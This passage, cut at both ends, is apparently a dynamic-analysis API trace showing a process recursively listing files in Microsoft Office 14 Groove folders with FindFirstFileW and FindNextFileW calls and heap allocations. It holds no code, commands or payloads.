ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0203.659] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2cedbe0 | out: lpFindFileData=0x2cedbe0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb486c900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb486c900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xced, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEFAULT.XSL", cAlternateFileName="")) returned 1 [0203.659] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2cedbe0 | out: lpFindFileData=0x2cedbe0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb486c900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb486c900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xced, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEFAULT.XSL", cAlternateFileName="")) returned 0 [0203.659] FindClose (in: hFindFile=0x6399c8 | out: hFindFile=0x6399c8) returned 1 [0203.660] GetProcessHeap () returned 0x550000 [0203.660] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 [0203.660] FindNextFileW (in: hFindFile=0x639988, lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69c4c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fancy", cAlternateFileName="")) returned 1 [0203.660] GetProcessHeap () returned 0x550000 [0203.660] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3700050 [0203.660] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\*", lpFindFileData=0x2cedbe0 | out: lpFindFileData=0x2cedbe0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69c4c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6399c8 [0203.662] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2cedbe0 | out: lpFindFileData=0x2cedbe0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69c4c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0203.662] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2cedbe0 | out: lpFindFileData=0x2cedbe0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb486c900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb486c900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hierarchy.js", cAlternateFileName="HIERAR~1.JS")) returned 1 [0203.662] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2cedbe0 | out: lpFindFileData=0x2cedbe0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b7f600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5b7f600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x157e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hierarchy.xsl", cAlternateFileName="HIERAR~1.XSL")) returned 1 [0203.662] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2cedbe0 | out: lpFindFileData=0x2cedbe0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b7f600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5b7f600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x345, dwReserved0=0x0, dwReserved1=0x0, cFileName="MINUS.GIF", cAlternateFileName="")) returned 1 [0203.662] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2cedbe0 | out: lpFindFileData=0x2cedbe0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b7f600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a497830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5b7f600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x349, dwReserved0=0x0, dwReserved1=0x0, cFileName="PLUS.GIF", cAlternateFileName="")) returned 1 [0203.663] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2cedbe0 | out: lpFindFileData=0x2cedbe0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b7f600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5b7f600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x327, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPACER.GIF", cAlternateFileName="")) returned 1 [0203.663] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2cedbe0 | out: lpFindFileData=0x2cedbe0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b7f600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5b7f600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x327, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPACER.GIF", cAlternateFileName="")) returned 0 [0203.663] FindClose (in: hFindFile=0x6399c8 | out: hFindFile=0x6399c8) returned 1 [0203.664] GetProcessHeap () returned 0x550000 [0203.664] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 [0203.664] FindNextFileW (in: hFindFile=0x639988, lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69c4c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fancy", cAlternateFileName="")) returned 0 [0203.664] FindClose (in: hFindFile=0x639988 | out: hFindFile=0x639988) returned 1 [0203.664] GetProcessHeap () returned 0x550000 [0203.664] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x264a108 | out: hHeap=0x550000) returned 1 [0203.664] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Project Report Type", cAlternateFileName="PROJEC~1")) returned 0 [0203.664] FindClose (in: hFindFile=0x639948 | out: hFindFile=0x639948) returned 1 [0203.664] GetProcessHeap () returned 0x550000 [0203.664] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26210b0 | out: hHeap=0x550000) returned 1 [0203.664] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b7f600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5b7f600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x4f0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectToolsetIconImages.jpg", cAlternateFileName="PROJEC~3.JPG")) returned 1 [0203.664] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b7f600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5b7f600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2338, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectToolsetIconImagesMask.bmp", cAlternateFileName="PROJEC~3.BMP")) returned 1 [0203.664] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b7f600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5b7f600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x5f00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SplashImage.jpg", cAlternateFileName="SPLASH~1.JPG")) returned 1 [0203.664] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b7f600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5b7f600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x14078, dwReserved0=0x0, dwReserved1=0x0, cFileName="SplashImageMask.bmp", cAlternateFileName="SPLASH~1.BMP")) returned 1 [0203.664] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b7f600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5b7f600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x122, dwReserved0=0x0, dwReserved1=0x0, cFileName="TABMASK.BMP", cAlternateFileName="")) returned 1 [0203.664] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b7f600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5b7f600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x9b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="TABOFF.JPG", cAlternateFileName="")) returned 1 [0203.665] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b7f600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5b7f600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x9ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="TABON.JPG", cAlternateFileName="")) returned 1 [0203.665] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b7f600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e5c1270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5b7f600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xdff, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHITEBOX.JPG", cAlternateFileName="")) returned 1 [0203.665] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b7f600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e5c1270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5b7f600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x4d72, dwReserved0=0x0, dwReserved1=0x0, cFileName="WhiteboxMask.bmp", cAlternateFileName="WHITEB~1.BMP")) returned 1 [0203.665] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6e92300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb6e92300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc59, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZoomIcons.jpg", cAlternateFileName="ZOOMIC~1.JPG")) returned 1 [0203.665] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6e92300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb6e92300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x638, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZoomIconsMask.bmp", cAlternateFileName="ZOOMIC~1.BMP")) returned 1 [0203.665] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6e92300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb6e92300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x638, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZoomIconsMask.bmp", cAlternateFileName="ZOOMIC~1.BMP")) returned 0 [0203.665] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0203.665] GetProcessHeap () returned 0x550000 [0203.665] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x36d0048 | out: hHeap=0x550000) returned 1 [0203.665] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53907610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Welcome Tool", cAlternateFileName="WELCOM~1")) returned 1 [0203.665] GetProcessHeap () returned 0x550000 [0203.665] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x36d0048 [0203.665] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53907610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0203.824] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53907610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0203.824] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbadd700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbbadd700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x10f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="IconImages.jpg", cAlternateFileName="ICONIM~1.JPG")) returned 1 [0203.824] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcdf0400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x53907610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcdf0400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x0, dwReserved1=0x0, cFileName="IconImagesMask.bmp", cAlternateFileName="ICONIM~1.BMP")) returned 1 [0203.824] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcdf0400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x53907610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcdf0400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x0, dwReserved1=0x0, cFileName="IconImagesMask.bmp", cAlternateFileName="ICONIM~1.BMP")) returned 0 [0203.824] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0203.824] GetProcessHeap () returned 0x550000 [0203.824] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x36d0048 | out: hHeap=0x550000) returned 1 [0203.824] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53907610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Welcome Tool", cAlternateFileName="WELCOM~1")) returned 0 [0203.825] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0203.825] GetProcessHeap () returned 0x550000 [0203.825] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0203.825] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="groove.net", cAlternateFileName="")) returned 0 [0203.826] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0203.826] GetProcessHeap () returned 0x550000 [0203.826] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26010a0 | out: hHeap=0x550000) returned 1 [0203.826] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a4cdf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ToolIcons", cAlternateFileName="TOOLIC~1")) returned 1 [0203.826] GetProcessHeap () returned 0x550000 [0203.826] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x36d0048 [0203.826] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a4cdf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0204.151] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a4cdf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0204.229] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcdf0400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcdf0400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xa2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ALERT.ICO", cAlternateFileName="")) returned 1 [0204.229] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcdf0400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60382570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcdf0400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHEVRON.ICO", cAlternateFileName="")) returned 1 [0204.229] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcdf0400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcdf0400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xa2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPUTER.ICO", cAlternateFileName="")) returned 1 [0204.229] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcdf0400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x604b3070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcdf0400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xea6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ContactSelector.ico", cAlternateFileName="CONTAC~1.ICO")) returned 1 [0204.229] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e764200, ftCreationTime.dwHighDateTime=0x1c9ff6c, ftLastAccessTime.dwLowDateTime=0x52a4cdf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7e764200, ftLastWriteTime.dwHighDateTime=0x1c9ff6c, nFileSizeHigh=0x0, nFileSizeLow=0x6b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="gfserrorfromgroove.ico", cAlternateFileName="GFSERR~1.ICO")) returned 1 [0204.230] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78806100, ftCreationTime.dwHighDateTime=0x1c9ff6c, ftLastAccessTime.dwLowDateTime=0x52a4cdf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78806100, ftLastWriteTime.dwHighDateTime=0x1c9ff6c, nFileSizeHigh=0x0, nFileSizeLow=0x6b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="gfserrortogroove.ico", 